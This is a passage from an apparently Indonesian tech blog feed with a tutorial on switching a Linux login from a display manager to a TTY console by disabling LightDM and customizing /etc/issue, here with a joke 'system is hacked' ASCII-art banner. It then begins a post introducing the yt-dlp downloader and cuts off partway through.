environment&lt;/strong&gt;&lt;/em&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; atau &lt;em&gt;&lt;strong&gt;DE&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;package display manager&lt;/em&gt; &lt;em&gt;default&lt;/em&gt;-nya juga pasti akan ter-&lt;em&gt;install&lt;/em&gt;. Misalnya, LightDM adalah &lt;em&gt;default display manager&lt;/em&gt; untuk XFCE, GDM adalah &lt;em&gt;default display manager&lt;/em&gt; untuk GNOME, SDDM adalah &lt;em&gt;default display manager&lt;/em&gt; untuk KDE &amp;amp; LXQt, dan LXDM adalah &lt;em&gt;default display manager&lt;/em&gt; untuk LXDE.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Ulasan tentang &lt;strong&gt;Desktop Environment (DE)&lt;/strong&gt; secara lengkap (mungkin) akan saya buatkan pada artikel tersendiri, &lt;em&gt;so, stay tuned&lt;/em&gt; ya!&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Sebetulnya, penggunaan &lt;em&gt;interface&lt;/em&gt; login berbasis GUI tidak hanya ada di linux, justru hampir semua sistem operasi desktop, termasuk Windows dan MacOS juga menggunakan &lt;em&gt;interface&lt;/em&gt; berbasis GUI. Alasan paling utamanya tentu saja karena &lt;em&gt;interface&lt;/em&gt; GUI-&lt;em&gt;based&lt;/em&gt; akan sangat memanjakan penggunanya, mulai dari pengguna awam hingga mahir sekalipun.&lt;/p&gt;&lt;p&gt;Tapi, ada &lt;em&gt;interface&lt;/em&gt; lain yang bisa digunakan untuk login, yaitu &lt;em&gt;interface&lt;/em&gt; login berbasis CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;). Interface CLI-&lt;em&gt;based&lt;/em&gt; ini menurut saya pribadi, selain lebih keren dari interface GUI-&lt;em&gt;based&lt;/em&gt; juga punya kelebihan tersendiri, yaitu kelebihan dalam menghemat &lt;em&gt;resource&lt;/em&gt; seperti CPU, GPU, dan RAM. &lt;em&gt;Interface&lt;/em&gt; login CLI-&lt;em&gt;based&lt;/em&gt; inilah yang kemudian saya sebut sebagai &lt;strong&gt;TTY&lt;/strong&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. Istilah TTY merupakan akronim dari &lt;em&gt;teletypewriter&lt;/em&gt; yang menjadi perantara atau penghubung langsung antara kita sebagai &lt;em&gt;user&lt;/em&gt; dan sistem operasi.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The “How To”&lt;a href=&quot;#the-how-to&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cara mengganti &lt;em&gt;interface&lt;/em&gt; login GUI-&lt;em&gt;based&lt;/em&gt; ke CLI-&lt;em&gt;based&lt;/em&gt; sebetulnya sangat sederhana, hanya dua langkah. Langkah pertama, kita perlu me-non-aktifkan &lt;em&gt;display manager&lt;/em&gt; yang sudah ada. Langkah kedua, kita perlu memodifikasi file &lt;code&gt;/etc/issue&lt;/code&gt; karena isi file tersebutlah yang akan ditampilkan pada layar login.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Disable Display Manager&lt;a href=&quot;#1-disable-display-manager&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita bisa mencari tahu &lt;em&gt;display manager&lt;/em&gt; yang sedang digunakan dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;display-manager.service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;814&quot; height=&quot;351&quot; src=&quot;/_astro/ss1.CDOYYxrR_ZqnodY.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, saya menggunakan display manager LightDM, dengan dua status&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Loaded: &lt;strong&gt;enabled&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Active: &lt;strong&gt;active&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Status &lt;strong&gt;enabled&lt;/strong&gt; artinya, lightdm akan otomatis dieksekusi setiap proses &lt;em&gt;booting&lt;/em&gt; sistem operasi selesai. Adapun status &lt;strong&gt;active&lt;/strong&gt; artinya, lightdm sedang berjalan di background.&lt;/p&gt;&lt;p&gt;Untuk me-non-aktifkan &lt;em&gt;display manager&lt;/em&gt; tersebut, kita bisa gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;disable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lightdm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Karena saya menggunakan &lt;em&gt;display manager&lt;/em&gt; lightdm, maka saya me-non-aktifkan lightdm. Silakan sesuaikan dengan &lt;em&gt;display manager&lt;/em&gt; yang kalian gunakan.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Kita bisa kembali periksa status &lt;em&gt;display manager&lt;/em&gt;-nya dengan perintah yang sama:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;display-manager.service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau langsung memeriksa status lightdm-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lightdm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;818&quot; height=&quot;474&quot; src=&quot;/_astro/ss2.3xRSOSr__1GS6Mj.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Display manager&lt;/em&gt; sudah berhasil di-&lt;em&gt;disabled&lt;/em&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Modify &lt;code&gt;/etc/issue&lt;/code&gt;&lt;a href=&quot;#2-modify-etcissue&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Isi file &lt;code&gt;/etc/issue&lt;/code&gt; secara setelan pabrik kurang lebih seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;337&quot; height=&quot;146&quot; src=&quot;/_astro/ss3.-EFcimU1_88Tu8.webp&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;\n :&lt;/strong&gt; menampilkan hostname&lt;br /&gt;
&lt;strong&gt;\l :&lt;/strong&gt; menampilkan tty&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Kurang lebih, nanti &lt;em&gt;output&lt;/em&gt;-nya adalah sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;270&quot; height=&quot;98&quot; src=&quot;/_astro/ss4.CA5L1u4d_1mvO2Q.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dan kita bisa menggantinya sesuai dengan selera yang diinginkan.&lt;/p&gt;&lt;p&gt;Misalnya, saya menggantinya dengan kata-kata + ascii art berikut:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;Your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;computer&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;has&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;been&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;injected&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;by&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;called&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Tr0j4nCHR0n05&quot;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                  &lt;/span&gt;&lt;span&gt;Consider&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pay&lt;/span&gt;&lt;span&gt; $ &lt;/span&gt;&lt;span&gt;5.000.000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;our&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Bitcoin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wallet&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                               &lt;/span&gt;&lt;span&gt;003bc6aa6e408a118a494813&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                                         &lt;/span&gt;&lt;span&gt;______&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                 &lt;/span&gt;&lt;span&gt;_________&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;.---&quot;&quot;&quot;      &quot;&quot;&quot;---.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;:______.-&lt;/span&gt;&lt;span&gt;&apos;:      :  .--------------.  :&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;| ______  |      | :                : |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|:______B:|      | |    WARNING!    | |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|:______B:|      | |                | |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|:______B:|      | |  Your system   | |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|         |      | |  is hacked!!   | |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|:_____:  |      | |      \l        | |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|    ==   |      | :                : |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|       O |      :  &apos;&lt;/span&gt;&lt;span&gt;--------------&lt;/span&gt;&lt;span&gt;&apos;  :&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|       o |      :&apos;&lt;/span&gt;&lt;span&gt;---...______...---&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|       o |-._.-i___/&apos;&lt;/span&gt;&lt;span&gt;             &lt;/span&gt;&lt;span&gt;\.&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;&apos;-.____o_|   &apos;&lt;/span&gt;&lt;span&gt;-.&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;&apos;-...______...-&apos;&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt;-._&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;:_________:&lt;/span&gt;&lt;span&gt;      `&lt;/span&gt;&lt;span&gt;.____________________&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt;-.___.-.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                                 &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&apos;.eeeeeeeeeeeeeeeeee.&apos;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;      :___:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                               &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&apos;.eeeeeeeeeeeeeeeeeeeeee.&apos;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                              &lt;/span&gt;&lt;span&gt;:____________________________:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Happy&lt;/span&gt;&lt;span&gt; Hacking!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;922&quot; height=&quot;618&quot; src=&quot;/_astro/ss5.u14otD0m_Z1fIgB7.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sebagai info, ascii art berupa komputer tersebut tidak saya buat sendiri, melainkan saya comot dari website
berikut: &lt;a href=&quot;https://www.asciiart.eu/computers/computers&quot; target=&quot;_blank&quot;&gt;https://www.asciiart.eu/computers/computers&lt;/a&gt;, karena kalau bikin sendiri sudah pasti akan menguras banyak tenaga dan waktu, wkwkw.&lt;/p&gt;&lt;p&gt;Dengan demikian, &lt;em&gt;interface&lt;/em&gt; login kita sekarang sudah CLI-&lt;em&gt;based&lt;/em&gt; dengan tambahan gimik yang keren. Untuk melihat hasilnya, kita hanya perlu &lt;em&gt;reboot&lt;/em&gt; komputer-nya.&lt;/p&gt;&lt;p&gt;Ketika berhasil login, kita belum langsung masuk ke tampilan GUI dari &lt;em&gt;desktop environment&lt;/em&gt; atau &lt;em&gt;&lt;strong&gt;window manager&lt;/strong&gt;&lt;/em&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;-nya alias kita masih di dalam &lt;em&gt;interface&lt;/em&gt; CLI. Nah, untuk masuk ke tampilan GUI, kita bisa mengetikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;startxfce4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;XFCE&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;startkde&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;KDE&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gnome-session&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;GNOME&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cinnamon-session&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;CINNAMON&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;startx&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Window&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Manager&lt;/span&gt;&lt;span&gt; (Openbox, &lt;/span&gt;&lt;span&gt;i3,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bspwm,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;etc.&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;code&gt;startx&lt;/code&gt;&lt;/strong&gt; bisa berjalan apabila sudah menginstall (1) xinit dan (2) &lt;em&gt;window manager&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Okeey, sekian dulu tutorial kali ini.&lt;br /&gt;
Gimana? Keren kan login dengan TTY? Xixixixi&lt;/p&gt;&lt;p&gt;Sampai jumpa lagi di artikel saya yang lain!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/display_manager&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/display_manager&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/desktop_environment&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/desktop_environment&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/Tty&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/Tty&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/window_manager&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/window_manager&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>A Feature Rich Command Line Audio/Video Downloader: YT-DLP</title><link>https://shangdi.github.io/posts/tech/yt-dlp/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/yt-dlp/</guid><description>A small yet powerful utility for downloading videos from popular stream sites.</description><pubDate>Sun, 23 Jun 2024 04:49:55 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h1&gt;What Is It?&lt;a href=&quot;#what-is-it&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Apa yang akan kalian lakukan kalau mau mengunduh video Youtube?&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;
A. Mengunjungi website seperti savefrom, savetube, y2meta, ssyoutube, dll.&lt;br /&gt;
B. Mengunduh aplikasi seperti MediaHuman, Open Video Downloader, dll.&lt;br /&gt;
C. Memutar videonya via VLC Player.&lt;br /&gt;
D. Mengunduh langsung di aplikasi Youtube.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Bisakah kalian menentukan format videonya juga?&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;&lt;strong&gt;Bagaimana kalau kalian hanya ingin mengunduh audionya saja?&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;&lt;strong&gt;Bagaimana jika videonya ada di platform selain Youtube?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Perkenalkan, &lt;strong&gt;&lt;code&gt;yt-dlp&lt;/code&gt;&lt;/strong&gt; adalah sebuah program berbasis &lt;em&gt;open source&lt;/em&gt; yang kurang lebih fungsinya adalah untuk menjawab pertanyaan-pertanyaan serupa seperti yang ada di atas sebelumnya. Seperti yang tertera pada judul, &lt;strong&gt;&lt;code&gt;yt-dlp&lt;/code&gt;&lt;/strong&gt; adalah program berbasis &lt;em&gt;command line&lt;/em&gt; yang kaya akan fitur-fiturnya untuk mengunduh audio dan juga video. Perlu diketahui juga bahwa &lt;strong&gt;&lt;code&gt;yt-dlp&lt;/code&gt;&lt;/strong&gt; merupakan &lt;em&gt;project&lt;/em&gt; fork dari program &lt;em&gt;project&lt;/em&gt; / program aslinya (yang juga &lt;em&gt;open source&lt;/em&gt; dan berbasis cli), yaitu &lt;strong&gt;&lt;code&gt;youtube-dl&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Berikut adalah tautan project &lt;strong&gt;&lt;code&gt;ytd-dlp&lt;/code&gt;&lt;/strong&gt; di github:&lt;/p&gt;&lt;a href=&quot;https://github.com/yt-dlp/yt-dlp&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;yt-dlp&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;yt-dlp&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;p&gt;Meskipun namanya &lt;strong&gt;&lt;code&gt;yt-dlp&lt;/code&gt;&lt;/strong&gt; (yang mana kita bisa duga, bagian “yt”-nya adalah akronim dari Youtube), tapi &lt;em&gt;tool&lt;/em&gt; ini dapat digunakan 